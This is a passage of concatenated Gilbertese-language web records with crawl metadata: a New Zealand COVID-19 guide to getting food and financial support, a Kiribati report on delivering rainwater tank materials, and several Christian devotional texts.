ni nikiri am ota nakon te Countdown (external link) KE New World (external link).\nKo kona naba ni kabongana te tieweiti are click and collect service, ao ni butia raoraom ke kain am utu ke kain raraikim bwa a na anai ao ni karokoi iroum.\nReitaki nakon am tubwamakete ke kambwana ni karao amwarake ake tabeua n titiraki bwa a kona nikiri bobwai nakoia aomata ao aron karaoan te ota mairouia. E kona n ae e a tia am tubwamakete ni kaokoroa aia tabo aomata ake a kainnanoa riki karaoan aia bobwai i aonrain.\nKamanoam ngkana a nikiraki amwarake nakoim\n- Nikirakin bwai e na riai n teimatoa te tauraroa ao n nikiraki man am aono.\n- Ngkana ko nikiribwai nakoia aomata, uringnga n taua raroam ae 2 te mita ao kabongana rabunan te ubu.\n- Ngkana a nikiraki bwai nakoim, uringnga n taua raroam ae 2 te mita mai irouia nake a nikiribwai, kabongana rabunan te ubu ao teboki baim ao kabongana te tianitaitia ngkana ko tia ni katikui am bobwai ni nneia.\nTe mwane ni buoka ibukin te kabo amwarake\nNgkana ko kainnanoa te mwane ni buoka ibukin, te kabo amwarake nakon Work and Income bwa tao a kona ni ibuobuoki n aei.\nNakon Work and Income website ibukin te mwane ni buoka ibukin kainnanom ae e katawe ao ibukin baika a teimatoa kainnanoakia iroum.\nKo kona n karaoa am beba ni bubuti bwa ko na anganaki te buoka ke te benefit i aonrain ao n tuoa bwa e riai n reke iroum te buoka ibukin te amwarake ke e aki.\nKo kona naba ni kabongana te COVID-19 financial tool i aon te uebutiaiti ae Unite Against COVID-19 n noria bwa rana buoka aika a riai n reke iroum.\nNako nakon:\n- www.workandincome.govt.nz (external link) (ibukin riki rongorongo)\n- my.msd.govt.nz (external link) (nakon te Work and Income ibuki karaon bubuti iaonrain)\n- 0800 559 009 (external link) (MSD tarebon ibukia aomata nako)\n- 0800 552 002 (external link) (MSD tarebon ibukia 65 te ririki ao ake i aona)\n- 0800 88 99 00 (external link) (tarebon ibukia ake i aon te Studylink)\n- COVID-19 Financial Support Tool\nTabo ake a kona n reke mai iai amwarake\nE na kona n reke iroum te tabo ni kareke amwarake n am aono n te Family Services Directory website:\nNgkana a aki kona n nikiraki amwarake nakoim\nNgkana ko a tia ni kataia ma e aki reke buokam n tabo aika a tia n taekinaki i eta aikai, reitaki nakon te Civil Defence and Emergency Management (CDEM) Group.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/support\/access-to-food-or-essential-items\/","date":"2023-01-31T04:24:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499842.81\/warc\/CC-MAIN-20230131023947-20230131053947-00057.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":560,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana Charter KOIFAWP ibukin nikiran bwain tangke ioan 4 abamwakoron Kiribati.\nE mwananga ana Charter KOIFAWP ae MV Aratobwa n tairikin te Kaabong 30\/06\/2022 ibukin nikiran bwain Tangke I Abemama, Nonouti, Tabiteuea Maiaki ao ai Tabiteuea Meang ao n okira Tarawa n tairikin te Kaonobong 09\/07\/2022. Aio te tangke are e a bon roko naba ma bwain autina. E iraki iroun ana aobitia KOIFAWP temanna ae te Gender and Youth Officer (GYO) ae Teruabine Anna Nuariki are e a karaoa naba te bowi ma Kauntira n abamwakoro ibukin kamataata ma rinanoan riki aia boraraoi kaain te Water User Groups (WUGs), are 6 nakon 7 n auti are ana kabongana te tangke n ran. E aki reke ana maroro ma Nonouti ibukina bwa e bon tuai uki kawaran ana abamwakoro.\nE roko I Abemama n te Kanimabong 01\/07\/2022 ao n butimwaeaki iroun te Island Facilitating Officer man KOIFAWP ae Kamaawa Ioane ma kaain aia tiim ao ai kaain te WUGs ake ana kawaerakei ao man anai bwain aia tangke. E kabanea uabong ana bong n kawaerakei kakoon Abemama ibukin kamwaingan bwain aia tangke n ran. E bon karaoaki te boowi ma kauntira n te kauoua n bong imwain nakon te kaibuke.\nE roko I Nonouti n te Tabati 03\/07\/2022 ao n kabanea uabong n kawaerakei kaakon Nonouti ao man kitana Nonouti nako Tabiteuea Meang ao n roko ikekei n tairikin te Moanibong 04\/07\/2022.\nMan ana babaronga ma ana ibuobuoki te bonomwi n kiraaka ao ana tetewe nakon te boowi n kauntira ao e a reke naba angan te boowi ma kauntira ao n raonaki irouia aia tia tei aika Taberannang Timeon ao te minita Hon Tarakabu Tofinga man MOJ. E a kabwarabwaraaki iai aron barongaan kakoroan bwain Tangke n ran ibukin ana botannaomata are e nikiraki n ana Charter KOIFAWP ae LC Aratobwa. E bon bane naba n te bong anne te kaako ao man aia ibuobuoki kaain te kaawa ae Eita are a uraki kaako, ao a bon bane n tan raoi aia kaako n kawakinaki n aia tabo n kaako bukina bwa akea kaain te 'WUGs\/ 'Wake' aika a roko n butimwaai bwain aia tangke. E bwenako naba n te tairiki anne nako n kaea Tabiteuea Maiaki ao n roko I Tabiteuea Maiaki.\nTe kakuba n te babaronga ae e nakoraoi man ana itera te Island Facilitating Officer are e a kaman roko ma kaain ana tiim, ni ikotaki ma kaain kaawa nako ibukin butimaean bwain aia tangke n ran. Kaain Taku a kaman roko naba ao n urakini bwain aia tangke n ana bwaati te kauntira nakon aia atimwakoro. Ibukina bwa e iara taari e a iremwe te uraki ao n ana tenibong.\nMan aia kaeka kauntira man abamwakoro ake 3 ao e oti te nano n boutoka nakon te karikirake ae KOIFAWP ibukin buokaia kaain aia abamwakoro n te ununiki ma karekean tangke ibukin karekean te ran ae e itiaki ake a nikiraki n ana charter KOIFAWP n karokoa n aia tabo. E ngae ngke e iremwe te kakao nakon te bowi ibukin aron mwamwanangan te kaibuke ma te karabwarabwa man te KOIFAWP bwa a bon babane kaain te bowi n kauntira n roko n kaota ingaingaia nakon ana kaongora te KOIFAWP ibukin buokan aia kanganga kaain aia abamwakoro n irekereke ma te ran ao te ununiki.","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/oifwpkiribati.org.ki\/news\/244-rain-water-harvesting-system-materials-delivery-on-project-islands-2","date":"2023-03-31T12:36:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949642.35\/warc\/CC-MAIN-20230331113819-20230331143819-00545.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":541,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.373,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mwaneka Nakon Kuristo\nMWANEKA NAKON KURISTO\nMWAKORO 1—ANA TANGIRA TE ATUA I BUKIN TE AOMATA\nBwaai aika karikaki ao te Baibara a boraoi aroia ni kaotiota ana tangira te Atua. Tamara are i karawa boni Ngaia oin reken te maiu, te wanawana, ao te kimwareirei. Nori aron kamimin ao tamaroani bwaai aika karikaki. Iangoi aroni kamimia ni kaekai kainnano ao ni karekei kukurei, tiaki ti nakon te aomata, ma nakon naba bwaai aika maiu ni kabane. Te riringa ao te karau, are a kakukureia te aonaba ao ni manga kaboua, taian tabuki ma marawa ao taabo aika aoraoi, a bane ni kaotioti nako ira n aron ana tangira te Tia Karikibwai. Bon te Atua are E anganga bwai ake a kainnanoaki ni katoa bong nakoia baike a maiu ake E kariki. E oti aei i nanon tamaroan ana taeka te tia oto areru, ae kangai: \"A kantaningaiko mataia aomata ni kabaneia; ao Ko angania kanaia n te tai ae riai. Ko kaurea baim, ao Ko kabaneia akana maiu ni kamaiuia n te bwai ae a tangiria.\" Areru 145:15,16. MK 7.1\nE karaoa te aomata te Atua ni kororaoi n raoiroi ao ni kukurei ao te aonaba ae tamaroa aei ngke e moa n tia mai bain te Tia Karikibwai, bon akea iai rikin te mka ke nun te karekekai. Ma bon riaoan ana Tua te Atuaare tuan te tangiraare e uota te rekenikai ao te mate. Ma i buakon te karawawataaki are uotan te bure, e bon kaotiotaki naba ana tangira te Atua. E koreaki ae kangai, bwa te Atua E a tia ni karekea kain aontano i bukin te aomata. K. Bwaai 3:17. Kaai aika iai ingia ao kaai aika kateketekea kariki taiani kanganga ao kataaki nakon maiun te aomata bwa te mwakuri korakora ao te tararuaa bane ni karikaki bwa buokana, are iteran reireiana ae riai n ana babaire te Atua i bukin tabekakirakeana man te ururu ao te karinanoaki are uotan te bure. E boni ngae ni bwaka nakon te bure, te aonaba, ma a bon aki bane bwain aona n nanokawaki ao ni kananoanga. I nanoni baika karikaki bon iai kaotioti ni kakukurei ao ni karaunano. Bon iai ueni kaai aika kateketeke, ao kaai aika iai ingia a rabunaki taberaia n ueia. MK 7.2\n\"Te Atua bon te tangira,\" e koreaki te taeka aei i aon ue ni kabane aika a tibwa raure, ao i aon naba marewen uteute ni kabane aika maiureirei. Mannikiba aika titikiraoi a karongoaea te ang n aia anene ni kukurei, ue aika kororaoi aroia ni kamatamataaki a kaboiarara te ang, kain te buakoakonikai aika a ririeta ma manguroron baaia ni maiua bane baikai ni kaota te nabeaki ni kakawakin, ae ana kakawakin n Tama Atuara, ao nanona ae korakora ni kani kakukureia natina. MK 7.3\nAna taeka te Atua E kaotiota aroarona. Boni Ngaia ae te Atua E a tia ni katereterea ana tangira ma ana nanoanga ae akea tokina. Ngke e tataro Mote ni kangai, \"Ko na kaota mimitongim nako iu,\" Te Otinako 33:18,19. Ao te Atua E kaeka ni kangai, \"N na kari-matam raoirouiu ni kabanea.\" Bon aio mimitongina. MK 7.4\nBwa ngke e ri matan Mote te Atua, ao E atonga aei, \"Iehova, Iehova ae te Atua ae on n te atataiaomata, ae akoi, ae iremwe n un, ae bati te nanoanga ma te koaua i Rou; ae I kawakina te nanoanga i mwaiia nga, ma ni kabara buakaka ma riaon tua ma bure.\" Te Otinako 34:6,7. E iremwe n un ao E bati n atataiaomta. \"Iona 4:2. Bwa E kukurei ni kan atataiaomata.\" Mika 7:18 MK 8.1\nE a tia ni kabaei nanora nako Ina te Atua i nanoni bwaai n tituaraoi aika aki konaki ni warekaki i karawa ao i aonaba. E a tia ni ukoukori aanga aika E nakaotiotaki iai nakoira i nanon bwaai aika karikaki, ao i nanon te aro n utu ae nano ao e kakawaki are kona n ota te aomata iai. Ma a bon aki tau baikai ni kaotiotan ana tangira. E boni ngae ngke a tia ni kaotiotaki taiani koaua aikai, ao ana kairiribai te raoiroi e a bon tia ni kamataki nanoia aomata, n te aro are a tara te Atua ma te maku; a iangoia bwa te Atua ae kanganga ao E aki kakabwarabure. Tatan e kairi aia iango aomata bwa ana iaiangoa te Atua bwa aongkoa oin aroarona te matoa n ana baireai aron te Tia babaire ae matoatoa, akea ana nanoanga, te Tia katarau ae aki nananoanga. E katea bannan te Tia Karikibwai bwa angkoa E taratara ma matana aika a tauanen bwa E nanori aia aki kororaoi aomata ao aia kairua, bwa E aonga ni karekekaia. E roko Iesu ni maeka i buakoia aomata bwa e na kamaunai kairuan kantaninga aikai ni kaotiotan ana tangira te Atua ae akea tokina nakon te aonaba. MK 8.2\nE roko Natin te Atua mai Karawa bwa E na kaota raoi te Tama. \"Bon akea temanna ae noora te Atua ma ngkoa; E kaotia te Nati are te rikitemanna, are memena i bwanibwanin te Tama.\" Ioane 1:18. \"Ao akea ae ata te Nati, ma ti te Tama ae ataia ao akea naba ae ata te Tama ma ti te Nati ae ataia, ao ane E kani kaotia te Nati nako ina.\" Mataio 11:27. Ngke e bubuti temanna mai buakoia ana reirei Iesu ni kangai, \"Kaota te Tama nako ira ao ti a tau iai. E taku Iesu nako ina, I a maan ra ni mena iroumi, ao ko aki ataai, Biribo? Ane e a tia n norai ao e a tia naba n nora te Tama; ao e aera ngkai ko kangai, Kaota te Tama nako ira?\" Ioane 14:8,9. MK 8.3\nNgke E taekina aron ana mwakuri Iesu n te aonaba aei, ao E taku, \"E mena Tamnein Iehova i aou, bwa E kabirai bwa N na tataekina te euangkerio nakoia akana aki kaubwai; E kanakomaiai bwa N na tuatuangia taenikai te kanakoaki, ao akana mataki te manga noraba, ao bwa N na kanakoia akana uruaki nanoia.\" Ruka 4:18. Bon aio ana mwakuri Iesu. E nako n taabo nako ni karaoa ae raoiroi, ao E kamaiuia aomata nako ake a karawawataaaki iroun Tatan. I nanoni kawa nako bon akea te auti teuana ae noraki iai te tang n aoraki; bwa E a tia n roko Iesu i buakoia, ni katoki aorakia ni kabaneia. Ana mwakuri E kaota aron koauan rineana ma mwiokoana iroun te Atua. Te tangira, te akoi, ao te nanoanga a bane ni kaotiotaki n aroaron maiuna; e boni babane nanona n te tangira n nanoanga nakoia natia aomata. E arona aron te aomata, bwa E aonga ni kona ni buokia aomata ni kainnanoia. Aomata aika rangi ni kainnano ma aika mangori a bon aki maku ni kawaria. Ataei aika uarereke a karikaki nanoia nako Ina. A tatangira te toka i aoni bubuaniwaena, ma ni karekea tarani moana ae nananoanga, ao e tatangira. MK 8.4\nIesu e bon aki karabaraba te taeka teuana ae taekan te koaua, ma E tataekinna n taai nako n te tangira. E kakabongana te aro n rabakau n taetae, ao te iangoraioi, ma te nananoanga, n ana tai ni kakaitibo ma aomata. E aki kakamatauniga, E aki tataetae n aki akaka, E aki kakamaneangia aomata aika kakai boo baaia. E aki kakabuakaka memeria aomata. E tataekina te koaua, ma E tataekinna n taai nako n te tangira. E ekanako te mwamwanateaba ni babakan raoiroi, ma te aki onimaki, ao te buakaka; ma e mena raninmatana ni bwanana ngkana E taekina te boaki ae rawawata ae eti raoi. E tang i bukin Ierutarem, ae te kawa ae babane nanona iai, are e rawa nako Ina ni butimwaia, ngke boni Ngaia te Kawai, te Koaua ao te Maiu. A tia n rawa nako Ina, ae boni Ngaia te Tia Kamaiu, ma E bon nanoangaia naba. Maiuna bon te maiu ni kakea i bon i Rouna ao n tabeakinia te mwangina. A bane aomata ni kakawaki i matana. E boni ngae ngke te kakannato Ngaia, ma E karinerine ma te tangira i bukia kain ana utu te Atua ni kabaneia. E nora aroia aomata ni bwaka nakon te bure are bon ngaia oin ana mwakuri te kamaiuia. MK 9.1\nBon akanne kateini maiun Kuristo are oti ni maiuna. Boni katein te Atua. Bon mai nanon te Tama are ranga mai iai te nanoanga n Atua, are kaotaki i nanon Kuristo, ao e ranga nako nakoia natia aomata. Iesu, bon te Tia Kamaiu ae tatangira, ao E nananoanga, boni kaotiotan te Atua \"n rabwata.\" 1 Timoteo 3:16. MK 9.2\nBon i bukin kamaiuara are E roko iai Iesu ni maeka n te aonaba aei ao ni kamarakaki ao ni mate. E riki bwa \"te aomata ae nananokawaki.\" Itaia 53:3. Bwa ti aonga ni buokanibwai n te kukurei are akea tokina. E kariaia Natina te Atua ae tangiraki i Rouna, ae on n te akoi ma te koaua, bwa E na nako mai man te aba are akea kabotaunarian mimitongina, nakon te aonaba ae uruaki ma n nimamate n te bure, ao e karooaki n nun te mate ma te rekenikai. Te Atua E kariaia Natina bwa E na kitana nibwana n akoaki, ma neboakina irouia anera, bwa E na maraki n te mama, te kabwainrangaki, te kakeaki bonganana, te riribaki, ao te mate. \"E mena i aona te boaki are e reke iai ara raoi; ao ti kamaiuaki n oreana.\" Itaia 53:5. Noria E mena n te rereua, E mena i Ketetemane, ao i aon te kaibangaki! Natin te Atua ae aki bure E uota rawawatan te bure i aona. Ngaia, are bon ti te arona ma te Atua, E rotaki nanona n aron kakamakun te raure i marenan te Atua ma te aomata are reke n te bure. I bukin aei are e otinako mai wina iai te tang ni korakai ae kangai. \"Atuau, Atuau, e aera ngkai Ko kitanai?\" Mataio 27:46. Rawawatan te bure, kakamakun korakorana, arona ni karaurea te aomata ma te Atua, baikai ni bane ake a urua nanon Natin te Atua. MK 9.3\nMa te anga karea ae kakawaki aei e bon aki karaoaki bwa e na karika i nanon te Tama te tangira i bukia aomata, ke tao e na karekea nanon te Atua ni kani kakamaiu. Tiaki, ae bon tiaki! \"Bwa E tangiria aomata te Atua n te aro are E anga Natina are te rikitemanna iai.\" Ioane 3:16. E tangirira te Tama, tiaki i bukin abwabwakin te kareanraoi, ma E katauraoa te karenraoi bwa kioina ngke E tangirira. Kuristo bon Ngaia te toma are kona iai te Atua ni kakoroa ana tangira are akea tokina nakon te aomata ae a tia ni bwaka n te bure. \"Bwa e raoiakinia kain aonaba te Atua nako Ina irouni Kuristo.\" 2 I-1 Korinto 5:19. E karawawataki te Atua ma Natina. N te maraki n rawawata are i Ketetemane, te mate are i Korokota, (e oti n aei) nanon te Atua n tangira are akea tokina ni kabwaka boon kamaiuara. MK 10.1\nE taku Iesu, \"Ma ngaia ae E tangirai Tamau bwa kioina ngkai I anga maiu bwa N na manga anaia.\" Ioane 10:17. I bukin ae, \"Tamau E rangi n tangniringkami n te aro are E tangirai riki i bukina ngke I anga maiu ni kamaiui ngkami. Ngkai I riki bwa te Tia Onei mwimi ao te Tia Kakoaua, I bukin are I anga maiu, n anai tekebuakami, ma ami riaon te tua, ao I a tangiraki iroun Tamau; bwa i bukin au anga Ngai bwa te karea, are e a kona iai n atongaki te Atua bwa eti, ao bon Ngaia te Tia Karaoiroa ane onimakinai.\" MK 10.2\nBon akea bwa bon ti Natin te Atua ae kona ni kakororaoa kamaiuara; bwa bon ti Ngaia are E memena i bwanibwanin te Tama ae kona ni kaotiota raoi te Tama. Bon ti Ngaia ae ata raoi rietatan ma nanon ana tangira te Atua ao ni kaotiotia naba. Bon akoa riki irarikin te karea are akea tokina are E a tia ni karaoia Iesu i bukia aomata aika bwaka n te bure ae kona ni katereterea ana tangira te Tama i bukia aomata aika a tia ni bua. MK 10.3\n\"Bwa E tangiria aomata te Atua n te aro are E anga Natina are te rikitemanna iai.\" Ioane 3:16. E anga Natina te Atua tiaki ti i bukin te maeka i buakoia aomata, ke ni uoti bureia, ao ni mate bwa te karea i bukia. E anga Ngaia i bukia aomata aika a tia ni bwaka n te bure. E bon raonia aomata Iesu n aroia ao ni kainnanoia. Teuare bon ti te arona ma aron te Atua E a tia n tomaia ma natia aomata ni kabae aika a na bon akea uruakia. E bon aki mama Iesu \"N atongiia bwa tarina:\" Ebera 2:11. Boni Ngaia te Karea i bukira, te Tia Raoi i bukira, Tarira, are E uouoti arora n aomata i matan ana kaintokanuea te Tama, ao i nanon ririki aika akea tokia ngaia ae Natin te Aomata E na bobotaki ma te botanaomata are E a tia ni Kamaiuia. Ao bwaai aikai ni kabane a karaoaki i bukin tabekan rake te aomata man te ururu ao te karinanoaki are uotan te bure bwa e aonga ni kaotiota ana tangira te Atua te aomata, ao ni uataboa kimwareirein te raoiroi. MK 10.4\nE a tia ni kabwakaki boon kamaiuara, ao ana karea are akea tokina Tamara are i karawa ngke E anga Natina bwa E na mate i bukira, e na riai n anganira rietatan te iango ibukin are e na kona n reke nako ira i nanon Kuristo. N aron te abotoro are Ioane ngke e kairaki iroun te Tamnei ao e nora rietatan, ao nanon, ao rababan ana tangira te Atua i bukin te botanaomata ae tabe ni mauna, ao e kaonaki n te nebonebo ao te karinerine; ao, e aki kunea te taeka ae kon iai ni kaota kakannaton ao akoin te tangira aei, ao E wetea te aonaba bwa e na noria ngke E kangai, \"Nora aron te tangira are E tangira iai te Tama ngkai ti atongaki bwa natin te Atua.\" 1 Ioane 3:1. Ai te kakawaki tera aei ae katokaaki i aon te aomata! I bukin riaoan te tua, e a riki iai natin te aomata bwa ana bwai Tatan. I bukin onimakinan ana karea ni kabomwi Kuristo, ao e a kona n riki iai natin Atam bwa natin te Atua. I bukin rikin Kuristo n aomata, e a tabekaki rake iai te aro n aomata. Aomata ake a tia ni bwaka n te bure a karokoaki ngkai n te nibwa, are ngkana a tomaki ma Kuristo, a kona iai n aranaki ni koaua bwa \"natin te Atua.\" MK 11.1\nTe tangira aei bon akea kabotaunariana. Te riki n natin Ueani karawa! Te berita ae kakawaki! Iangoan te tangira aei ma te koaua! Abwabwakin ana tangira te Atua i bukin te aonaba ae aki tangira te Atua! Iangoan baikai bon iai mwaakaia ni karekea raun te nano, ao ni kaira te iango nakon te kataenikaiaki n nanon te Atua. Reiakinan riki aroaron te Atua n otan te kaibangaki, ti na kona riki iai n nora te nanoanga, te akoi, ao te kabwarabure ae raonaki n te aki nanonano ao te eti raoi, ao ti na ota raoi riki n aron aki konakin warekan koauan te tangira are akea tokina, ao te akoi n nanoanga ae riaon ana nanoanga te tina i bukin natina ae aki kani kairaki. MK 11.2","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/m.egwwritings.org\/gil\/book\/12469.2","date":"2023-03-25T00:49:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945292.83\/warc\/CC-MAIN-20230325002113-20230325032113-00151.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2556,"character_repetition_ratio":0.055,"word_repetition_ratio":0.011,"special_characters_ratio":0.236,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te maiu ae tabu bon Nanon te Atua ae tangiria ibukira ni kabane ba ti aonga ni bane kamaeuaki. Te maiu inanon te raoiroi bon kaotan te wanawana iroura n tauraoi butiamaea Tia Mare ngkana E a roko. N rongorongoia aine ake niman ake a wanawana, are ti ongo n te bong aio, ao I taku ngai n au iango ba baan aia taura are a uouotia bon taekan te maiu ae tabu are a maiu inanona ao ngaia are e katauraoia ni butimaea te Tia Mare n rokona.\nTao a na bati ara iango n titiraki ba e na kanga n reke te maiu ae tabu iroura. I bon irou ao aikai tabeua buoka n iango aika a na kona ni karekea te maiu ae tabu iroura. Teuana bon te tauraoi n rinnako inanon te maiu ni kainnano n aiaron te maeka n te rereua ba ti ngaia te anga ae ti kona iai ni kainaomataki mani katabetaben te maiu aio ao mani kona naba ni kaitibo iai ni koaua ma te Uea. Ara makuri ni mitinare ae kororaoi e na bon kainnanoa te maiu inanon te aki kaubai ma te nanorinano ao te tauraoi ni kona ni kitana arora ni mwengaraoi. Ma ae kakanato riki bon te maiu n ongotaeka ao te tauraoi n nako ike E kairira nako iai te Uea, n aiaron Betero are e ongotakea iroun Iesu ni kabaka te karaun n aron are e tuangaki. Te aki kaubai, te ongoateka ao te nanorinano bon ngaia ae na anganira te kona n rooti ao n ringii maeuia tarira ma manera ake ti na karokoa irouia ana Tangira, ana Nanoanga ma makan ana Kamaiu te Uea.\nNgkana ti boni karaua ni iangoia ba tera te Maiu ae Tabu ao ti na kunea ba ngaia bon katotongan Iesu. A na bon akea ara kanganga ni karekea te aeka ni maiu aio ngkana ti nim n taai nako ma Iesu. Inanon rikira n ti teuana ma Iesu ao I taku ba a na bane n ti teuana nanora ma St Padre Pio n ana tataro teuana imain matena are e kangai,\"Ko raba te Atua ngkai I ataia ao I kakoaua ba Ko maeka inanou ao ngai Inanom.\"","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/71-te-maiu-ae-tabu-bon-nanon-te-atua-ae-e-tangiria-i-bukira","date":"2023-06-05T03:44:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00312.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":369,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tauraoi n taai nako ibukin te Uea boni ngaia aron uakoraan wanawanara iroun te Uea. Tariu ma maneu n tabetai ao ti taku ba e tei te tai ao ti taku naba ba e kiriaria te tai ae E na weteira iai te Uea. Ma ti kakoaua n te wareboki n te bong aio ba aio te aeka n tai are ti aki kona n ataia ba e na roko nningai. Tariu ma maneu aio te koaua ae ti riai ni butimaia ao ni kammakuria inanora ba muina ao ti reke n te kabuanibai. Bon kaotan te wanawana ni koaua iroura ngkana ti tatauraoi n taai nako. Bon aio naba ana rongorongo Nei Maria nakoira ba ti na maiu n te bong aio n aiaron are ai ara kabanea ni bong. N aiaroia aine ake niman ake a wanawana ao ti na tatauraoi ma ara baa ba ti aonga ni kona ni butimaea te tia Mare ngkana E a roko. Ara baa bon te maiu inanon ana karatia te Atua.\nN tabetai ao ti taku ba iai te ingabong ma n aron are ti a tia n rereiaki iai irouia ara Tama ni Kiribati ao ae tataekinna naba te Tama Ikataere, ao ti riai n norira n taai nako inanon te tai ae NGKAI ba bon akea te ingabong ao ti riai ni kamateraoa ana baintangira te Atua nakoira ae E anganira are bon te tai ae NGKAI ao ni kakoaua ba ti kabongana ibukin neboana Ngaia ae te Atua. Ti na bane ni kamanena raoi te tai aio ao ti na katabuira n taai nako ibukin ana Tangira te Uea. N te aro aio ao ti na bon kakoroa raoi iai aron ana Babaire ni kamaiu te Atua ibukira are E a kaman kawenea mai moana are bon te maeka ma Ngaia i Karawa inanon te mimitong.\nTi na teirake ao ti na makuria Nanon te Uea aio ao riki ti na waaki ni buokiia tarira ma manera ni kaokia nakon te Uea inanon te rarannano. Ti na butia te Atua ba E na nanoangaira ao E na anganira ana karatia ni barua te raoiroi inanon maiura ao ni kan taua bain Natina ae Iesu are E aroria nakoira n taai nako ba E aonga n riki ba ara kaaben are E na katanira man taian kabuanibai nako ao mani karokoira raoi ni mwengara ni koaua irarikin Tamana ao Tamara ba ti na bane ni katonga iai kororaoin te kukurei.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/70-te-tauraoi-n-taai-nako-ibukin-te-uea","date":"2023-06-05T02:28:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00371.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":412,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kamimi aron wetean Batoromaio iroun Iesu ba ngke e tabe n roko ma Biribo ao e takarua Iesu nako Batoromaio ni kangai, \"Aio te Iteraera ni koaua ae akea te kewe irouna\". E a manga titiraki Batoromaio nakon Iesu ni kangai, \"Ko kanga ni kinaai?\". E kaeka Iesu, \"Imain ae e weteiko Biribo ao I noriko ian te kai te biiku\".\nE ringaki nanon Batoromaio n ana taeka Iesu aio ao e namakinna ae e a kaman kinaki imain rokona ao e a ota raoi nanona ba: \"Te Aomata aio (Iesu) E atai rongorongoni maiu ni kabane, ao E ata naba kawain te MAIU; I taku ba I kona n onimakinna!\"Ao imuina e taetae ni kaotioti nakon Iesu ni kangai; \"Rabi.., boni Ngkoe Natin te Atua; boni Ngkoe Uean Iteraera\"\nInanon te karaki aio ao iai te koaua ae I kona n ongo ao I kan tibaia ba E tai arora ni kabane te Atua ao bon akea te bai ae kona n raba ma Irouna. Te kauoua ba bon iai ana babaire te Uea ibukira ao n tabetai ti kainnanoia tarira ma manera ba a na buokira ni kairira nakon te Uea ba ti aonga n ota n ana babaire ao ana wewete te Atua ibukira are e a kaman tauraoi i main bungiakira.\nTariu ma maneu ti na butia te Atua ba E na kammakura Tamneina inanora ba ti na kona n ataia ae E nori ara makuri ni kabane ake ti karaoi te Atua ao E na bon rawawata man uruaki Nanona ngkana ti karaoa te bure.\nN aiaron Biribo are e kaira Batoromaio nakon Iesu ao ti bia riki naba ngaira ba taan kairiia tarira ma manera nakon te Uea ba a aonga ni kona ni kaotaaki iroun Iesu aron ana tangira ma wewete ao ana muioko te Atua ibukia inanon ana babaire ni kamaiu ae moan te kororaoi ibukira ni kabane.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/69-e-atai-arora-ni-kabane-iesu","date":"2023-06-05T02:21:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00103.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":317,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.394,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti katea Iesu n ara iango ba E raroa nako i karawa ke E tekateka irarikira, ao E tauraoi ni babakoira ngkana ti kua mani makuri ke n nanokawaki man maraki; E ngarengare ma ngaira inanon kukureira inanon ara utu ao ni buokara n ara makuri ke ngkana a kaekaki ara bubuti? E taua baira n ara tai ni kainnano ao E kawakinira man taian kabuanibai ke tao E kairia nako karawa kain ara utu ake a tia ni motirawa? Ke E tei irarikira ma Tinana Nei Maria ao Santo Ioteba n rokon natira ni bungiaki?\nNgkana ti tanrikaki ao ti kona n nora aron ana Tangira ma Bain te Uea inanon bai ake a riki nakoira ao ti na kona ngkanne ni kakoaua ba Iesu are E maeka uoua 